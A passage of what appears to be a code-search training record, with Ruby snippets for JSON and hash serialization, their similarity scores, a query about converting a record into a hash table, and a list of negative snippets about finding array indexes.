"def to_s\n JSON.pretty_generate(raw)\n end",
"def to_s\n to_json\n end",
"def to_json\n Formatter::JSON.render(self)\n end",
"def to_json\n JSON.pretty_generate(to_hash)\n end",
"def to_json\n io = StringIO.new << \"{\"\n\n io << JSON.create_id.to_json << \":\" << self.class.name.to_json << \",\"\n\n @data.each {|key, value|\n io << key.to_json.to_s << \":\" << value.to_json << \",\"\n }\n\n io.seek(-1, IO::SEEK_CUR)\n io << \"}\"\n\n io.string\n end",
"def to_s\n to_json.to_s\n end",
"def as_json(*args)\n { EXTENDED_JSON_KEY => to_s }\n end",
"def json\n \"#{self.to_s}&json=true\"\n end",
"def to_json\n j = \"{\\n\"\n @data.each_pair {|k,v| j += \"#{k}:'#{v}'\\n\"}\n j += '}'\n end",
"def to_json(*_args)\n JSON.pretty_generate(to_h)\n end",
"def to_json_s\n require 'json' unless defined? JSON\n puts JSON.pretty_generate(JSON.parse(@response_hash.to_json))\n end",
"def to_s\n {\n fullname: fullname,\n address: address,\n dob: dob,\n email: email,\n username: username\n }.to_json\n end",
"def to_json\n JSON(as_json)\n end",
"def jsonify(input); end",
"def to_json(*args)\n {\n 'json_class' => self.class.name,\n 'data' => to_s\n }.to_json(*args)\n end",
"def to_json\n Yajl::Encoder.encode(to_hash, :pretty => true)\n end",
"def to_json\n pretty ? JSON.pretty_generate(output) : output.to_json\n end",
"def json\n JSON.pretty_generate(hash)\n end",
"def json_\n hash = {\n \"Id\" => id,\n \"Created\" => created,\n \"CreatedBy\" => created_by,\n \"Modified\" => modified,\n \"ModifiedBy\" => modified_by\n }\n\n hash.to_json\n end",
"def to_s\n JSON.dump(to_h)\n end",
"def to_json(version = 1)\n if version == 1\n JSON.pretty_generate(to_hash(version))\n else\n raise \"Version #{version} not yet implemented for to_json\"\n end\n end",
"def to_json(options = {:space => ''}, *a)\n JSON.pretty_generate( to_hash, options )\n end",
"def to_json(*args); end",
"def to_json\n to_raw.to_json\n end",
"def to_str\n body={\n id: @id,\n event: @event,\n data: @data,\n }\n if errors.any?\n body[:errors_count]=@errors.count\n body[:errors]=@errors\n end\n body.to_json\n end",
"def format_hash(hash)\n return hash.to_json\n end",
"def json(input)\n JSON.dump(input)\n end",
"def to_json\n #JSON.fast_generate(to_hash)\n JSON.pretty_generate(to_hash)\n end",
"def to_json\n #JSON.fast_generate(to_hash)\n JSON.pretty_generate(to_hash)\n end",
"def tojson\n\t\tend",
"def to_json(**opts)\n JSON.generate as_json, **opts\n end",
"def to_json(*options)\n as_json.to_json(*options)\n end",
"def to_json\n to_h.to_json\n end",
"def to_json\n to_h.to_json\n end",
"def pretty_json\n JSON.pretty_generate({\n \"id\" => @id,\n \"aliases\" => @aliases,\n \"origins\" => @origins.map(&:to_local),\n \"default-cache-behavior\" => @default_cache_behavior.to_local,\n \"cache-behaviors\" => @cache_behaviors.map(&:to_local),\n \"comment\" => @comment,\n \"enabled\" => @enabled,\n })\n end",
"def to_json(*options)\n\t\tas_json(*options).to_json(*options)\n\tend",
"def to_json arg\n as_json.to_json\n end",
"def to_json\n JSON.generate(to_h)\n end",
"def to_json(_context = nil)\n to_h.to_json\n end",
"def to_json(*)\n\t\t\t# to_json needs to not care about arguments with the C extension\n\t\t\t# version of the JSON gem.\n\t\t\t# See json-1.5.1/ext/json/ext/generator/generator.c:902\n\t\t\tto_hash.to_json\n\t\tend",
"def to_json\n JSON.pretty_generate(@data)\n end",
"def to_json(repr = nil)\n @js.to_s\n end",
"def pretty_generate\n JSON.pretty_generate( self.to_h )\n end",
"def as_json(options = {})\n\t\t\t\t\tresult = {\n\t\t\t\t\t\t\"name\" => self.name.to_s,\n\t\t\t\t\t\t\"description\" => self.description.to_s,\n\t\t\t\t\t\t\"quantity\" => self.quantity.to_i,\n\t\t\t\t\t\t\"price\" => self.price_without_decimal\n\t\t\t\t\t}\n\t\t\t\t\treturn result\n\t\t\t\tend",
"def to_json\n to_parsed.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_s\n return @data.to_json\n end",
"def as_json(*)\n {\n JSON.create_id => self.class.name,\n 'y' => year,\n 'm' => month,\n 'd' => day,\n 'H' => hour,\n 'M' => min,\n 'S' => sec,\n 'of' => offset.to_s,\n 'sg' => start,\n }\n end",
"def to_json(*_args)\n JSON.dump as_json\n end",
"def to_json\n\t\tto_h.to_json\n\tend",
"def to_json\n\t\tto_h.to_json\n\tend",
"def as_json(_opts={})\n raise NotImplementedError\n end",
"def to_json(*args)\n \"{\\\"$oid\\\": \\\"#{to_s}\\\"}\"\n end",
"def to_json(*options)\n as_json(*options).to_json(*options)\n \tend",
"def to_json\r\n to_hash.to_json\r\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json( pretty_print = false )\n if pretty_print\n JSON.pretty_generate( self.to_h )\n else\n self.to_h.to_json\n end\n end",
"def to_json( pretty_print = false )\n if pretty_print\n JSON.pretty_generate( self.to_h )\n else\n self.to_h.to_json\n end\n end",
"def to_json\n\n end",
"def json(obj)\n obj.to_json.html_safe\n end",
"def to_json(*args)\n as_json.to_json(*args)\n end",
"def json(obj)\n obj.to_json.html_safe\n end",
"def pretty_json\n JSON.pretty_generate(pretty_hash)\n end",
"def pretty_json\n JSON.pretty_generate(pretty_hash)\n end",
"def as_json(pretty=false)\n\n pretty ? Rufus::Json.pretty_encode(@h) : Rufus::Json.encode(@h)\n end",
"def to_json\n to_json_object.to_json\n end",
"def to_json(what)\n what.to_hash.to_json\n end",
"def to_json(opts = {})\n as_json.to_json\n end",
"def jsonize\n {id: self.id, title: self.title, start: self.start_date.strftime('%a %b %d %Y'), end: self.end_date.strftime('%a %b %d %Y'), resource: self.resource_id}\n end",
"def to_json\n JSON.dump ({\n :name => @name,\n :age => @age,\n :gender => @gender\n })\n end",
"def to_json(*args)\n as_json(args).to_json\n end",
"def to_json\n JSON.generate to_hash\n end",
"def to_json(_options = nil)\n @json ||= @hash ? @hash.to_json : \"\"\n end",
"def to_json(pretty_print = false)\n if pretty_print\n JSON.pretty_generate(to_h)\n else\n to_h.to_json\n end\n end",
"def to_json\n Oj.dump(to_hash)\n end",
"def to_s\n self.to_json\n end"
] |
[
"0.7607748",
"0.74476594",
"0.7384055",
"0.7384055",
"0.7280277",
"0.72080034",
"0.7206955",
"0.71539444",
"0.7143885",
"0.71332574",
"0.7044647",
"0.70366114",
"0.70276845",
"0.7013362",
"0.69889325",
"0.69862163",
"0.696661",
"0.69483006",
"0.6933895",
"0.6916874",
"0.68901634",
"0.6882851",
"0.6865817",
"0.6845111",
"0.6842754",
"0.6804513",
"0.67605996",
"0.67509687",
"0.67503047",
"0.6729009",
"0.6728732",
"0.6718701",
"0.67178935",
"0.67097217",
"0.670357",
"0.66927564",
"0.66837794",
"0.6683203",
"0.6681681",
"0.6680219",
"0.667985",
"0.66721076",
"0.66721076",
"0.6667111",
"0.66568786",
"0.6648166",
"0.66460586",
"0.66460586",
"0.6645823",
"0.6633647",
"0.66217935",
"0.6621561",
"0.66212726",
"0.6619828",
"0.6619765",
"0.66110814",
"0.6606027",
"0.6602165",
"0.6589967",
"0.65805656",
"0.65805656",
"0.65805656",
"0.65805656",
"0.65805656",
"0.65805656",
"0.65805656",
"0.65805656",
"0.65805656",
"0.65805656",
"0.65805656",
"0.6574163",
"0.6571083",
"0.6567024",
"0.6565567",
"0.6565567",
"0.65614545",
"0.65614486",
"0.6560798",
"0.6558011",
"0.65552264",
"0.65552264",
"0.6554501",
"0.6554501",
"0.6551476",
"0.6547795",
"0.6547537",
"0.65474963",
"0.6538038",
"0.6538038",
"0.6528919",
"0.65206003",
"0.65180516",
"0.6511634",
"0.65107864",
"0.6507209",
"0.65001625",
"0.6498292",
"0.6496592",
"0.64904994",
"0.64867556",
"0.6480129"
] |
0.0
|
-1
|
Convert the record into a hash table.
|
def to_hash
fields.inject({type: type}) do |table, name|
table.tap do
if val = send(name)
val = val.iso8601(3) if name == :timestamp
table[name] = val
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def record_as_hash(record)\n encode_new_value(record)\n\n {\n table_name: record.table_name,\n record_id: record.record_id,\n attr: record.attr,\n new_value: record.new_value,\n updated_at: record.updated_at\n }\n end",
"def to_h\n @table.reduce({}) do |hash, (key, value)|\n hash[key] = value.to_h\n hash\n end\n end",
"def to_h\n t = {}\n @table.each do |k,v|\n if v.respond_to?(:to_h)\n t[k] = v.to_h\n else\n t[k] = v\n end\n end\n t\n end",
"def hash\n rows.hash\n end",
"def to_hash\n @table.inject(Hash.new) { |h, arr| k, v = arr; h[k.id2name] = v; h }\n end",
"def to_h\n @table.dup\n end",
"def to_hash\n @__table\n end",
"def convert(record)\n\t\t\tarrays_2 = Array.new\n\t\t\ttmp = hash_to_array(record)\n\t\t\tarrays_2.push(tmp)\n\t\tend",
"def to_hash\n @data.map do |row|\n hsh = {}\n @field_names.each_with_index.map{ |fld, i| hsh[fld] = row[i] }\n hsh\n end\n end",
"def hash\n @table.hash\n end",
"def dissect_to_record_hashes\n end",
"def raw_table_to_hash tbl\n fixd_hsh = tbl.reject{|arr| arr.blank?}.inject({}) do |h,arr|\n title = arr.first.downcase.gsub(/[-\\s]/, '_').to_sym\n val = arr.last.gsub(\",\",\"\")\n h[title] = val\n h\n end\n fixd_hsh\n end",
"def to_h\n {timestamp: @timestamp.to_i, changes: @records.map(&:to_h)}\n end",
"def to_hash schema = {}\n schema = parse_schema schema\n\n HASH_TEMPLATE.clone.tap { |ret|\n @result.getNoVersionMap.each do |cf, cqmap|\n cqmap.each do |cq, val|\n name = ColumnKey.new(cf, cq)\n type = schema[name]\n ret[name] = type ? Util.from_bytes(type, val) : val\n end\n end\n }\n end",
"def hash_to_array(record)\n\t\t\tarr = Array.new\n\t\t\trecord.map do |key, val |\n\t\t\t\tarr.push(val)\n\t\t\tend\t\t\t\n\t\t\tarr\n\t\tend",
"def tableConvert(tableName, table)\n dbTableH = Hash.new\n records = Array.new\n i = 0\n \n table.each do\n |row|\n records[i] = row\n i += 1\n end\n dbTableH[tableName] = records\n \n return dbTableH\nend",
"def rs_to_hash(rs, index_key_field, multi_val)\n # setting default hash value is necessary for appending to arrays\n hash=Hash.new{ |h, k| h[k] = [] }\n\n # get basic metadata for the recordset\n meta = rs.getMetaData\n cols = meta.getColumnCount.to_i\n\n # loop through the records to add them into hash\n while rs.next do\n # if multi_val is not true... create new hash value as an empty hash if it doesn't already exist\n hash[rs.getString(index_key_field)]={} if (!hash[rs.getString(index_key_field)] and !multi_val)\n\n # if multi_val is true... create new hash value as an empty array if it doesn't already exist\n hash[rs.getString(index_key_field)]=[] if (!hash[rs.getString(index_key_field)] and multi_val)\n\n # r is a temporary hash for the row being processed\n r=Hash.new\n\n # add each row to r\n (1..cols).each do |c|\n r[meta.get_column_name(c)] = rs.getObject(c)\n if convert_to_ruby_time_classes.include?(r[meta.get_column_name(c)].class)\n r[meta.get_column_name(c)] = Time.at(r[meta.get_column_name(c)].get_time / 1000).utc\n end\n end # each cols\n\n # set hash value to r if not multi_val\n hash[rs.getString(index_key_field)] = r if !multi_val\n\n # append hash to r if multi_val\n hash[rs.getString(index_key_field)] << r if multi_val\n end # while\n\n # completed hash is returned\n return hash\n end",
"def to_h\n FieldsToHash.call(self)\n end",
"def table_to_hashes(table)\n array_to_hashes(table_to_array(table))\nend",
"def record_to_hash(r, attrs)\n {}\n end",
"def hash\n __record_id.hash\n end",
"def row_to_hsh(row)\n h = Hash[@headers.zip(row)]\n h.symbolize_keys\n end",
"def hash_record! ht, rec, duplicate_type\n case duplicate_type\n when 1 # whole header match\n unless ht.has_key? rec.header\n ht[rec.header] = rec\n end\n when 2 # header ID match\n unless ht.has_key? rec.id\n ht[rec.id] = rec\n end\n when 3 # whole seq match\n unless ht.has_key? rec.seq\n ht[rec.seq] = rec\n end\n when 4 # whole seq + whole header\n key = \"#{rec.header}#{rec.seq}\"\n unless ht.has_key? key\n ht[key] = rec\n end\n when 5 # whole seq + hedaer ID\n key = \"#{rec.id}#{rec.seq}\"\n unless ht.has_key? key\n ht[key] = rec\n end\n end\nend",
"def to_h\n dotruby.to_h\n end",
"def to_hash() end",
"def to_h\n {model: model, record_id: record_id, changes: changes}\n end",
"def to_record(row)\n rec = Hash[HEADERS.zip(row)]\n return {\n :lat => rec[:lat].to_f,\n :lon => rec[:lon].to_f,\n :num_poi => rec[:num_poi].to_i,\n :mean_version => rec[:mean_version].to_f,\n :mean_users => rec[:mean_users].to_f\n }\nend",
"def to_table_model_hash\n tables = gain_tables\n models = to_models(tables)\n Hash[*tables.zip(models).flatten]\n end",
"def to_hash\n record_hash = {\"leader\" => @leader, \"fields\" => []}\n @fields.each do |field|\n record_hash[\"fields\"] << field.to_hash\n end\n record_hash\n end",
"def raw_hash\n Hash.new.tap do |out|\n @map.each { |col| out[col.to] = @table[col.from] }\n end\n end",
"def to_h()\n #This is a stub, used for indexing\n end",
"def to_hash\n memoize(:to_hash) do\n _process_hashed(structures.inject({}) { |acc, elem| Utils.merge(acc, elem) })\n end\n end",
"def to_h\n store.deep_dup\n end",
"def to_h; end",
"def to_h; end",
"def to_h; end",
"def to_h; end",
"def to_hash\n @data.to_hash\n end",
"def resultset_to_hash(resultset)\n meta = resultset.meta_data\n rows = []\n\n while resultset.next\n row = {}\n\n (1..meta.column_count).each do |i|\n name = meta.column_name i\n row[name] = case meta.column_type(i)\n when -6, -5, 5, 4\n # TINYINT, BIGINT, INTEGER\n resultset.get_int(i).to_i\n when 41\n # Date\n resultset.get_date(i)\n when 92\n # Time\n resultset.get_time(i).to_i\n when 93\n # Timestamp\n resultset.get_timestamp(i)\n when 2, 3, 6\n # NUMERIC, DECIMAL, FLOAT\n case meta.scale(i)\n when 0\n resultset.get_long(i).to_i\n else\n BigDecimal.new(resultset.get_string(i).to_s)\n end\n when 1, -15, -9, 12\n # CHAR, NCHAR, NVARCHAR, VARCHAR\n resultset.get_string(i).to_s\n else\n resultset.get_string(i).to_s\n end\n end\n\n rows << row\n end\n rows\nend",
"def record_hash(record, fieldset, params = {})\n if cached\n record_hash = Rails.cache.fetch(record.cache_key, expires_in: cache_length, race_condition_ttl: race_condition_ttl) do\n temp_hash = id_hash(id_from_record(record), record_type, true)\n temp_hash = temp_hash.merge(attributes_hash(record, fieldset, params)) if attributes_to_serialize.present?\n temp_hash[:relationships] = {}\n temp_hash[:relationships] = relationships_hash(record, cachable_relationships_to_serialize, fieldset, params) if cachable_relationships_to_serialize.present?\n temp_hash[:links] = links_hash(record, params) if data_links.present?\n temp_hash\n end\n record_hash[:relationships] = record_hash[:relationships].merge(relationships_hash(record, uncachable_relationships_to_serialize, fieldset, params)) if uncachable_relationships_to_serialize.present?\n record_hash[:meta] = meta_hash(record, params) if meta_to_serialize.present?\n record_hash\n else\n record_hash = id_hash(id_from_record(record), record_type, true)\n record_hash = record_hash.merge(attributes_hash(record, fieldset, params)) if attributes_to_serialize.present?\n record_hash[:relationships] = relationships_hash(record, nil, fieldset, params) if relationships_to_serialize.present?\n record_hash[:links] = links_hash(record, params) if data_links.present?\n record_hash[:meta] = meta_hash(record, params) if meta_to_serialize.present?\n record_hash\n end\n end",
"def to_hash(cols=[])\n col_info = column_info(cols)\n rows = []\n while try { @result_set.next } do\n row = {}\n col_info.each do |col, info|\n obj = try{ @result_set.object(info[:index]) }\n case info[:type]\n when :string\n row[col] = obj.to_s\n when :boolean\n row[col] = (obj.to_s =~ /true/i ? true : false)\n when :long\n row[col] = obj.to_i\n when :double\n row[col] = obj.to_f\n else\n log.warning \"Unkown type: #{info[:type]} for #{col}\"\n row[col] = obj.to_s\n end\n end\n rows << row\n end\n rows\n end",
"def peer_record_to_hash(line)\n\t\t\tpeer_array_to_hash(line.split(DELIMITER))\n\t\tend",
"def to_h\n Hash[ data.map {|k,v| v.is_a?(StructHash) ? [k, v.to_h] : [k, v] } ]\n end",
"def to_h\n table.compact\n end",
"def to_h\n table.compact\n end",
"def row_hash(row)\n Hash[raw_headers.zip(row)].with_indifferent_access\n end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_h\n @raw.reduce(Hash.new(0)) do |acc, elem|\n acc.merge(elem.date => elem.score)\n end\n end",
"def to_h\n hsh = {}\n each do |b|\n b.each { |sb| hsh[sb.key] = sb.value }\n end\n hsh\n end",
"def to_hash\n data.to_hash\n end",
"def to_hash\n data.to_hash\n end",
"def to_h\n @hash.dup\n end",
"def to_h\n\t\t\thash = Hash.new(nil)\n\t\t\teach_pair { |key, value| hash[key] = value }\n\t\t\thash.freeze\n\t\tend",
"def kv_table(table)\n transform_table!(table).rows_hash\nend",
"def to_h\n @hash\n end",
"def to_h\n @hash\n end",
"def to_h\n @entry.each_with_object({}) { |(k, v), h| h[k] = v.dup }\n end",
"def to_hash_with_versions schema = {}\n schema = parse_schema schema\n\n HASH_TEMPLATE.clone.tap { |ret|\n @result.getMap.each do |cf, cqmap|\n cqmap.each do |cq, tsmap|\n name = ColumnKey.new(cf, cq)\n type = schema[name]\n\n ret[name] =\n Hash[\n tsmap.map { |ts, val|\n [ ts, type ? Util.from_bytes(type, val) : val ]\n }\n ]\n end\n end\n }\n end",
"def to_h\n to_hash\n end",
"def to_hash\n HashWithIndifferentAccess.new.tap do |hash|\n self.class.schema.each_key do |key|\n next if (value = self[key]).blank?\n value =\n case value\n when Array; value.map {|item| item.respond_to?(:to_hash) ? item.to_hash : item }\n else ; value.respond_to?(:to_hash) ? value.to_hash : value\n end\n hash[key] = value if value.present?\n end\n end\n end",
"def to_h\n @hash.dup\n end",
"def to_hash(row)\n r = {}\n row.each_with_index { |v, i| r[@cols[i]] = v }\n r\n end",
"def to_h\n Hash[all_entries]\n end",
"def hash\n to_a.hash\n end",
"def to_hash\n data = Hash.new\n Dynamic.tables.each do |name, value|\n data[name] = Hash.new\n value.all.each do |primary, instance|\n data[name][primary] = instance.to_array\n end\n end\n data\n end",
"def to_hash\n to_a.hash\n end",
"def to_h\n @_hash.dup\n end",
"def to_hash\n @data.inject({}) do |ac,(k,v)|\n ac.merge! k => ((v.kind_of? self.class) ? v.to_hash : v)\n end\n end",
"def to_hash\n if stype == :yale\n h = {}\n each_stored_with_indices do |val,i,j|\n next if val == 0 # Don't bother storing the diagonal zero values -- only non-zeros.\n if h.has_key?(i)\n h[i][j] = val\n else\n h[i] = {j => val}\n end\n end\n h\n else # dense and list should use a C internal function.\n # FIXME: Write a C internal to_h function.\n m = stype == :dense ? self.cast(:list, self.dtype) : self\n m.__list_to_hash__\n end\n end",
"def to_h\n @data.reverse.inject({}){ |h,d| h.merge(d.to_h) }\n end",
"def to_h\n\n load_onto_stack\n\n table_pos = stack_top\n\n Lib.lua_pushnil(@pointer)\n\n h = {}\n\n while Lib.lua_next(@pointer, table_pos) != 0 do\n\n value = stack_fetch(-1)\n value.load_onto_stack if value.is_a?(Ref)\n\n key = stack_fetch(-2)\n key.load_onto_stack if key.is_a?(Ref)\n\n stack_unstack # leave key on top\n\n h[key] = value\n end\n\n h\n end",
"def to_db_hash\n db_hsh = {}\n to_hash.each{|k,v| db_hsh[k.to_s] = v.to_s unless v.nil? }\n db_hsh\n end",
"def to_h\n read!\n @data.dup\n end",
"def values\n record && record.to_hash(fields)\n end",
"def record_to_object(record)\n record\n end",
"def to_hash()\n @data\n end",
"def to_h\n self.symbolize_keys.to_h\n end",
"def to_hash\n @data\n end",
"def to_hsh\n {name => {:columns => columns, :unqiue => unique}}\n end",
"def to_h\n cache = flattened.dup\n paired_column_names.map do |field|\n [field, LabelledItem.new(cache.delete(field.to_sym), cache.delete(\"#{field}Label\".to_sym))]\n end.to_h.merge(cache)\n end",
"def get_db_as_hash()\n db = get_db()\n db.results_as_hash = true \n return db\n end",
"def to_hash\n result = {}\n [[:tn, :tn], [:epg, :epg], [:cnam, :cnam], [:refId, :ref_id]].each do |garbage, pretty|\n # Make sure that this thing ain't nil\n if self.send(pretty)\n result[garbage] = self.send(pretty)\n end\n end\n result\n end",
"def to_hash\n Hash[to_a]\n end",
"def to_h\n raise NotImplementedError, '`#to_h` method must be implemented'\n end",
"def keyed_table\n @keyed_table ||= table.each_with_object({}) do |row, hash|\n hash[normalize_key(row[0])] = row\n end\n end",
"def to_table\n headers = fields.map { |field| field.label.downcase }\n body = fields.map { |field| field.to_s.downcase }\n\n [headers, body]\n end",
"def to_h\n\n @h\n end",
"def to_h\n { 'metadata' => { 'fieldName' => field },\n 'operator' => operator,\n 'values' => Array(value) }\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def to_hash\n @hash\n end",
"def to_hash\n @hash\n end",
"def map_record(record)\n context = Context.new(:source_record => record, :settings => settings)\n map_to_context!(context)\n return context.output_hash\n end",
"def map_record(record)\n context = Context.new(:source_record => record, :settings => settings)\n map_to_context!(context)\n return context.output_hash\n end"
] |
[
"0.7533952",
"0.699359",
"0.6916222",
"0.6898092",
"0.68766785",
"0.6755341",
"0.667941",
"0.6667998",
"0.6650438",
"0.66418815",
"0.6616046",
"0.646839",
"0.6423536",
"0.6361429",
"0.6345645",
"0.63306224",
"0.6313461",
"0.6310359",
"0.62412333",
"0.62306815",
"0.61958",
"0.61913663",
"0.61877465",
"0.6165279",
"0.61641437",
"0.61613446",
"0.616035",
"0.61449003",
"0.61351097",
"0.6131296",
"0.6130644",
"0.60628873",
"0.6060512",
"0.6054542",
"0.6054542",
"0.6054542",
"0.6054542",
"0.60389787",
"0.60327667",
"0.6017049",
"0.6010401",
"0.6007551",
"0.6004707",
"0.6003661",
"0.6003661",
"0.60010076",
"0.60006547",
"0.60006547",
"0.60006547",
"0.60006547",
"0.60006547",
"0.60006547",
"0.5995526",
"0.59885144",
"0.59695625",
"0.59695625",
"0.59694195",
"0.5941761",
"0.593215",
"0.5924346",
"0.5924346",
"0.59155476",
"0.59076977",
"0.59024024",
"0.5899674",
"0.5896787",
"0.5891434",
"0.58905184",
"0.58441395",
"0.5843598",
"0.5839547",
"0.5824487",
"0.58173627",
"0.5817135",
"0.57803166",
"0.5775694",
"0.57689965",
"0.5760031",
"0.57490766",
"0.57476157",
"0.5747253",
"0.5746382",
"0.57453793",
"0.5742878",
"0.57338727",
"0.57220465",
"0.57037205",
"0.5701811",
"0.5698602",
"0.5688919",
"0.56839436",
"0.5682837",
"0.56807715",
"0.5675447",
"0.5675447",
"0.5675447",
"0.56700706",
"0.56700706",
"0.56654376",
"0.56654376"
] |
0.64393026
|
12
|
method to find the index
|
def left_equal_right(array)
left = 0
right = array.reduce(:+)
array.each do |x|
right -= x
if left == right
p array.index(x)
end
left += x
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def my_index(arg)\n self.each_with_index do |ele,idx|\n if ele == arg\n return idx\n end\n end\n return nil\n end",
"def index ; @index ; end",
"def index\r\n @index ||= 0\r\n end",
"def index(element); end",
"def index; @index; end",
"def index\n @index ||= 1\n end",
"def find_index_by_model(model)\n if item = find_item_by_model(model)\n item.index\n end\n end",
"def index(p0) end",
"def index(p0) end",
"def find_index_by_path(*path)\n if item = find_item_by_path(*path)\n item.index\n end\n end",
"def find(_index_value)\n raise \"Implement in subclass\"\n end",
"def index(*args)\n\t\t\treturn find_index(*args,&block)\n\t\tend",
"def find(index_key)\n index[index_key]\n end",
"def idx\n @ob.get_idx\n end",
"def index\n history = File.open(@current)\n line = history.readline.rstrip\n line =~ /(\\d+)$/ # get the index\n $1.to_i\n end",
"def lttfindex\n end",
"def index_at(element)\n find_element(element, :index)\n end",
"def indexed\n self['indexed']\n end",
"def ta_index\n end",
"def find_index(params = {})\n name = if params.one?\n params.keys.first.to_s\n else\n params.keys.join('_and_')\n end\n index = model[association.name]['index'][name]\n\n return if index.blank? && Embedded.config.scan_tables\n raise NoSolutionsError, name if index.blank?\n\n index\n end",
"def find_index_by_model(model)\n if info = id_to_module.find { |info| info.this == model }\n return create_index(info.row, 0, info.id)\n end\n end",
"def get_index_of_cur_day\n\treturn $index_of_cur_day\nend",
"def get(index)\n \n end",
"def search_index(games, search_term)\n search_index = games.find_index(search_term)\n search_index || \"Not Found\"\nend",
"def at(index); end",
"def index\n @index ||= self.class.index\n end",
"def index\n logger.info 'Index of elements'\n end",
"def index()\n INDEXES.find { |i| (self + i).exist? }&.yield_self { |i| self + i }\n end",
"def index_of element\n @index.key @data.index(element)\n end",
"def index(entry)\n @index[entry]\n end",
"def construct_index\n end",
"def current_idx\n return @idx >= 0 ? @idx : nil\n end",
"def index_match(array)\n # write your code here\n array.each_with_index do |num, index|\n if num == index \n return num\n end\n end\n -1\nend",
"def index_for row\n ie = insert_error_for row\n return ie.index if ie\n nil\n end",
"def outidx\n @index_range.begin\n end",
"def find_index(index)\n self.indexes[Array(index).collect(&:to_s).sort.collect(&:to_sym)]\n end",
"def index(loc, offset=0) end",
"def index=(_arg0); end",
"def index_of( item )\n max = self.get_length\n counter = 1\n while( counter <= max )\n if( get(counter) == item)\n return counter\n end\n counter = counter + 1\n end\n return nil\n end",
"def ele_index(class_name, index)\n results = tags(class_name)\n if index == 'last()'\n index = results.length\n index -= 1 if index >= 0\n else\n raise 'Index must be >= 1' unless index >= 1\n\n index -= 1 if index >= 1\n end\n\n # uiautomator has issues with index/instance so calculate the index\n # client side.\n results[index]\n end",
"def linear_search(array, n, x)\n answer_index = 'NOT-FOUND'\n array.each_with_index do |a, i|\n if a == x\n answer_index = i\n end\n end\n answer_index\nend",
"def index_of(exerc_id)\n i = 0\n while((i < self.user_sequence.size()) && (Moped::BSON::ObjectId.from_string(self.user_sequence[i][0]) != exerc_id)) do\n i = i + 1\n end\n if i == self.user_sequence.size() \n return nil # not found\n else\n return i\n end\n end",
"def index\n @index ||= tree.all_data.index(entry)\n end",
"def search(nums, target)\n nums.each_with_index do |num, index|\n return index if num == target\n end\n -1\nend",
"def check_index_finder\n # Leave it alone\n end",
"def last_index\n @last_index\n end",
"def input_to_index(position)\n index = position.to_i - 1\n end",
"def find(index)\n x = index\n while @parent_array[x] != 0\n x = @parent_array[x]\n end\n return x\n end",
"def select_by_id_get_index(id_name)\n return select_by_id(id_name).selected_index\nend",
"def find(lang)\n [\"java\", \"C#\", \"Ruby\", \"Erlang\", \"Haskell\"].each_with_index { |language,index| if language == lang;return index;end }\n puts \"Couldn't find #{lang}\"\n ''\nend",
"def findIndex(target)\r\n\r\n i = 0\r\n while(i < @Declarations.length)\r\n if(target == @Declarations[i])\r\n return i\r\n end\r\n i += 1\r\n end\r\n return -1\r\n end",
"def get_index(i)\n\t\tif (!@head || @size < i+1)then return false end\n\t\tcurrent = this.head\n\t\tcount = 0\n\t\twhile (count < i) #go to the index\n\t\t\tcurrent = current.get_next()\n\t\t\tcount+=1\n\t\tend\n\t\treturn current.get_item()\n\tend",
"def index(value)\n index = nil\n\n self.each_with_indices do |yields|\n if yields.first == value\n yields.shift\n index = yields\n break\n end\n end\n\n index\n end",
"def find_index_by_path(*path)\n current = id_to_module.last\n if path.first == current.name\n path.shift\n end\n\n path.each do |name|\n current = id_to_module.find do |info|\n info.name == name && info.parent == current\n end\n return if !current\n end\n create_index(current.row, 0, current.id)\n end",
"def get_index(index)\n return self.at(index)\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n return index\nend",
"def current_station_index\n @route.stations.find_index(@current_station)\n end",
"def find(array, target)\n array.each_with_index do |element,index|\n return index if (element == target)\n end\n nil\nend",
"def target_idx\n @target_idx\n end",
"def input_to_index(input)\n return input.to_i - 1\n #idx = [inpu - 1]\n # return idx\nend",
"def index\r\n build_index unless @index\r\n @index\r\n end",
"def input_to_index(user_input)\nindex = user_input.to_i - 1 #convert to integer and covert to index\nreturn index #return index for use in other methods\nend",
"def search(exercise_name)\n for i in 0..@exercises.size-1 do\n if @exercises[i].name == exercise_name\n return i\n end\n end\n\n #Fail to find, returns -1\n return -1\n end",
"def start_index\n return 0 if self.total_results == 0\n si = ((self.current_page - 1) * self.results_per_page)\n return (si >= 0 ? si + 1 : 0)\n end",
"def magic_index(array)\n array.each_with_index do |val, index|\n return index if val == index\n end\n \"no magic index\"\nend",
"def input_to_index(position)\n index = position.to_i - 1\nend",
"def input_to_index(input)\n index = input.to_i-1\nend",
"def find_position(params, index_values = [])\n params.values.map { |value| index_values.index(value) }.compact.first\n end",
"def search(array, index_target)\r\n\tindex = 0 \r\n\t\r\nwhile index < array.length \r\n\tif array[index] == index_target\r\n\t\treturn index \r\n\telse \r\n\t\tnil \r\n\tend\r\n\tindex += 1 \r\nend \r\nend",
"def idIndex(a, id, offset = 0)\n p \"--------- idIndex called ------------\"\n a.each_with_index do |node, index|\n if node.id == id\n p \"------- index ---------\"\n p index\n return index + offset\n end\n end\n nil\nend",
"def get_token_index\n raise NotImplementedError\n end",
"def focussed_index\n @current_index # 2009-01-07 14:35 \n end",
"def from_index\n Indexer.index[probably_unique_id]\n end",
"def input_to_index(index)\n index.to_i - 1 \nend",
"def find_magic_index(array)\n array.each_with_index do |element, index|\n if element == index \n return element\n end \n end \n -1 \nend",
"def select_by_class_get_index(class_name)\n return select_by_class(class_name).selected_index\nend",
